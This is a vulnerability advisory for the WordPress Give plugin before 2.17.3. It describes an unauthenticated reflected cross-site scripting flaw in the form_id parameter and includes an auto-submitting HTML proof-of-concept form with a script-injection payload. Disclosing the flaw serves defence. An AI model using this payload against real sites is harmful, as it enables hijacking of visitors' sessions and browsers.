WordPress Plugin Vulnerabilities

Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting

Proof of Concept

As an unauthenticated user:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="give_checkout_login" />
      <input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>